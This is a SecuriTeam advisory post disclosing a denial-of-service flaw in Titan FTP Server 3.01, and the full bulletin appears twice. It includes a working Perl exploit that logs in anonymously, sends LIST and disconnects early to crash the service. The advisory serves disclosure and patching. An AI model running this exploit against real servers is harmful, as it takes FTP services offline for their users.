Aviram Jenik
06/05/04, 00:35
Titan FTP Server Aborted LIST DoS
----------------------------------------------------
Article reference:
http://www.securiteam.com/windowsntfocus/5RP0215CUU.html
SUMMARY
A security vulnerability exists in South River Technologies' Titan FTP Server.
An attacker issuing a LIST command and disconnecting before the LIST command
had the time to connect, will cause the program to try and access an invalid
socket. This will result in the FTP service's crash (and in turn, no longer
being able to service any additional users).
DETAILS
Vulnerable Systems:
* Titan FTP Server version 3.01 build 163
Immune Systems:
* Titan FTP Server version 3.10 build 169
Solution:
To solve this issue upgrade to the latest version (3.10 build 169 or newer).
Exploit:
#!/usr/bin/perl
# Test for Titan FTP server security vulnerability
#
# Orkut users? Come join the SecuriTeam community
# http://www.orkut.com/Community.aspx?cmm=44441
#
use IO::Socket;
$host = "192.168.1.243";
my @combination;
$combination[0] = "LIST \r\n";
for (my $i = 0; $combination[$i] ; $i++)
{
print "Combination: $1\n";
$remote = IO::Socket::INET->new ( Proto => "tcp",
PeerAddr => $host,
PeerPort => "2112",
);
unless ($remote) { die "cannot connect to ftp daemon on $host" }
print "connected\n";
while (<$remote>)
{
print $_;
if (/220 /)
{
last;
}
}
$remote->autoflush(1);
my $ftp = "USER anonymous\r\n";
print $remote $ftp;
print $ftp;
while (<$remote>)
{
print $_;
if (/331 /)
{
last;
}
}
$ftp = "PASS a\@b.com\r\n";
print $remote $ftp;
print $ftp;
while (<$remote>)
{
print $_;
if (/230 /)
{
last;
}
}
$ftp = $combination[$i];
print $remote $ftp;
print $ftp;
while (<$remote>)
{
print $_;
if (/150 /)
{
last;
}
close $remote;
}
ADDITIONAL INFORMATION
SecurITeam would like to thank <mailto:storm@securiteam.com> STORM for
finding this vulnerability.
Regards,
Aviram Jenik
Beyond Security Ltd.
http://www.BeyondSecurity.com
http://www.SecuriTeam.com
The First Integrated Network and Web Application Vulnerability Scanner:
http://www.beyondsecurity.com/webscan-wp.pdf
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
----------------------------------------------------
Article reference:
http://www.securiteam.com/windowsntfocus/5RP0215CUU.html
SUMMARY
A security vulnerability exists in South River Technologies' Titan FTP Server.
An attacker issuing a LIST command and disconnecting before the LIST command
had the time to connect, will cause the program to try and access an invalid
socket. This will result in the FTP service's crash (and in turn, no longer
being able to service any additional users).
DETAILS
Vulnerable Systems:
* Titan FTP Server version 3.01 build 163
Immune Systems:
* Titan FTP Server version 3.10 build 169
Solution:
To solve this issue upgrade to the latest version (3.10 build 169 or newer).
Exploit:
#!/usr/bin/perl
# Test for Titan FTP server security vulnerability
#
# Orkut users? Come join the SecuriTeam community
# http://www.orkut.com/Community.aspx?cmm=44441
#
use IO::Socket;
$host = "192.168.1.243";
my @combination;
$combination[0] = "LIST \r\n";
for (my $i = 0; $combination[$i] ; $i++)
{
print "Combination: $1\n";
$remote = IO::Socket::INET->new ( Proto => "tcp",
PeerAddr => $host,
PeerPort => "2112",
);
unless ($remote) { die "cannot connect to ftp daemon on $host" }
print "connected\n";
while (<$remote>)
{
print $_;
if (/220 /)
{
last;
}
}
$remote->autoflush(1);
my $ftp = "USER anonymous\r\n";
print $remote $ftp;
print $ftp;
while (<$remote>)
{
print $_;
if (/331 /)
{
last;
}
}
$ftp = "PASS a\@b.com\r\n";
print $remote $ftp;
print $ftp;
while (<$remote>)
{
print $_;
if (/230 /)
{
last;
}
}
$ftp = $combination[$i];
print $remote $ftp;
print $ftp;
while (<$remote>)
{
print $_;
if (/150 /)
{
last;
}
close $remote;
}
ADDITIONAL INFORMATION
SecurITeam would like to thank <mailto:storm@securiteam.com> STORM for
finding this vulnerability.
Regards,
Aviram Jenik
Beyond Security Ltd.
http://www.BeyondSecurity.com
http://www.SecuriTeam.com
The First Integrated Network and Web Application Vulnerability Scanner:
http://www.beyondsecurity.com/webscan-wp.pdf
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.